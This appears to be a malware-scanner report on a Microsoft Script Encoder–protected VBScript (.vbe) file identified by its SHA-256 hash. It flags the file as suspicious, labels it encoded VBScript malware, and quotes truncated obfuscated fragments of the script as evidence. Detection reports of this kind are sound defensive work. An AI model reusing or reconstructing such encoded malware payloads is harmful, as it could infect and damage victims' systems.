Suspicious ^80% Download

0679dd44cdce1913ff9d42975212813477b4de1c2f34772dec8233b541971814.vbe

Encoded VBScript malware

Microsoft Script Encoder protected scriptVBScript has long average lines

SHA-2560679dd44cdce1913ff9d42975212813477b4de1c2f34772dec8233b541971814

Evidence

Microsoft Script Encoder protected script line 1

1#@~^53IGAA==6aYrKx,26aVb^kD@#@&@#@&frh,Zbt32BP5	)HBPn.}|}S,bFjt6~,|	JqA~~/d$H@#@&@#@&@#@&@#@&?+DPn#pnp~',Z.nmY+}8LmYvE	?1DbwORj4VsJ*@#@&@#@&@#@&@#@&?nO,bFjt6,'~;DlYr(%+1YcJUm.raYk	LRwkVjz/D+sr8Ln^DJb@#@&@#@&@#@&jnDP|	JqA~',/M+CD+}4LmDcJUm4+9Esnc?+M-k1+J*@#@&@#@&Zd$H~x,sCVkn@#@&@#@&o!xmOrKx~|G#5?c*@#@&PP,P@#@&P,P~|G.}j,'Pn#pnpRAa2l	NAx-k.G	:nxDjYMkULk`JY)hn9b:)uJb,[,J-rPL~nA5uC,[~	5Sf5c5Sf5cE&ycl&{&f+&+&Ff&r#b@#@&2x[~wEUmDrKx@#@&@#@&@#@&@#@&@#@&|\bJH@#@&@#@&@#@&@#@&@#@&@#@&s!U^YbW	P35F/}`\(_#}*@#@&~,PP3enZ6P{~;t.vZ&xYvJLuJ,[~HoC#t*#@#@&3x9Ps!U^YbW	@#@&@#@&@#@&@#@&@#@&@#@&UE8~_2IeKv#@#@&,~,P/ …

Percent-encoded content decoded line 1

1:138408… &W&W&X&1fW&X&Wf 2cfX2c&qfW&1&WfF&{2G2c&8&Wfc2cf 2cf12c&8fc2,&Wf&2&Z&*cXf+&{&lf&2cfX2*&qfW&q&+fF&X2,2c&8&WfG2*f&2cfX2G&Ffc2 &WfX&+cy&*cXf+&{&lf&2cfX2*&qfW&q&+fF&X2,2c&8&WfG2vf&2cfX2v&Ffc2F&+f{&l&l&*&qfW&0&Wf 2cfX2c&qfW&q&Wfl&*2,2c&8&Wf%2c …

Microsoft Script Encoder footer line 1

1:422558… #@&P~P,!5Gr}~{P1eJt5cAn6`Sb@#@&,PP,5Jf5PxPV5965@#@&AUN,sE	^OkKx@#@&@#@&@#@&@#@&@#@&@#@&kelQAQ==^#~@�